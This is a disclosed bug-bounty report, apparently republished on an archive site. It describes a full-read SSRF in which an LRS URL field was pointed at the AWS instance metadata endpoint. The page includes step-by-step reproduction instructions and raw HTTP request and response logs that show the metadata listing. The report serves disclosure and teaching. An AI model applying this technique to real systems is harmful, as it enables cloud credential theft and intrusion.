Skip to content
SSRF Disclosed report Intermediate

Full read SSRF at █████████ [HtUS]

A product configuration feature let a user supply an arbitrary URL that the server fetched, so the attacker could reach the AWS instance metadata endpoint and read its contents. The response was returned in a downloadable test log, exposing instance details and potentially credentials.

sudi Follow with ht0x0

Originally disclosed on HackerOne

High 7.7 View original
  • Triaged in 16 hours
  • Fixed in 41 days
  • Paid in 25 hours
  • Disclosed after 2 months

Heyy there, We have found a full read ssrf vuln in https://█████ , we were able to hit the AWS Metadata endpoint (http://███████) though the SSRF Vuln.


Steps to reproduce:

1.Goto https://██████/users/create and create an account 2.After you account is verified , get login If for some reasons you are not the verification code, try with a gmail id

3.Now visit: https://████/products/create/ and fill the required details 4.Once your product is created, click on New Configuration which is under LRS Configurations

████████

5.Enter this as the input for * LRS URL *: http://█████████/latest/meta-data? (the question mark at the end is important) 6.Under Basic Auth User & Pass enter test for both fields and click on Create new LRS configuration

█████

7.Once the Configuration is created click on the Test button beside the conifguration name ████ 8.Now you will be redirected to the homepage, so go back to the product page 9.Under Past Results you should be able to see a new entry 10.Click on Manage Test record > Download log 11.Now check the Include HTTP checkbox and from the Log Format drop down menu choose Plain text

A file with the name log should be downloaded in your computer, just open it and there you will find the response from the aws meta data endpoint:


""
failed
"SyntaxError: Unexpected token a in JSON at position 0"
REQUEST SUPERREQUEST
_______________________________________
POST /latest/meta-data?/statements HTTP/1.1
X-Experience-API-Version: 1.0.3
Authorization: Basic dGVzdDp0ZXN0
host: ██████████
accept: application/json
content-type: application/json
content-length: 324
Connection: close

{"actor":{"objectType":"Agent","name":"xAPI mbox","mbox":"mailto:████"},"verb":{"id":"http://███","display":{"en-GB":"attended","en-US":"attended"}},"object":{"objectType":"Activity","id":"http://www.example.com/meetings/occurances/34534"},"id":"3b9e4565-07ac-475f-be1f-d5f590f40779"}

RESPONSE SUPERREQUEST
_______________________________________
HTTP/1.0 200 OK
accept-ranges: bytes
content-length: 326
content-type: text/plain
date: Wed, 06 Jul 2022 13:48:12 GMT
last-modified: Thu, 30 Jun 2022 09:37:12 GMT
connection: close
server: EC2ws

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
=======================================
REQUEST SUPERREQUEST
_______________________________________
GET /latest/meta-data?/statements?statementId=3b9e4565-07ac-475f-be1f-d5f590f40779 HTTP/1.1
X-Experience-API-Version: 1.0.3
Authorization: Basic dGVzdDp0ZXN0
host: ██████
Connection: close

RESPONSE SUPERREQUEST
_______________________________________
HTTP/1.0 200 OK
accept-ranges: bytes
content-length: 326
content-type: text/plain
date: Wed, 06 Jul 2022 13:48:12 GMT
last-modified: Thu, 30 Jun 2022 09:37:12 GMT
connection: close
server: EC2ws

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
=======================================

Impact

An attacker can dump aws keys , reach internal hosts and etc

Thankyou Regards heint and sudi

The original report as published on HackerOne, by sudi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server-side URL fetch for the LRS configuration accepted any host, including the internal metadata address, and returned the response to the user.

Impact

An attacker could read the instance metadata, which may expose AWS keys and internal host information.

What the attacker needed

A verified account; ability to create a product

How it was found

  1. Create and verify an account, then log in.
  2. Create a product and open its new LRS configuration form.
  3. Enter the metadata endpoint as the LRS URL with basic auth values and save.
  4. Click Test on the configuration, then return to the product page.
  5. Open the past result, download the log and enable HTTP inclusion in plain text.
  6. Read the metadata response in the downloaded log file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The site had a feature where you give it a web address and it fetches that address for you. The server did not check where the address pointed, so it could be told to fetch a special internal address that only the server itself can reach, which holds information about the machine. The fetched answer was then shown back to the user in a log file.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by sudi

View all

14 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.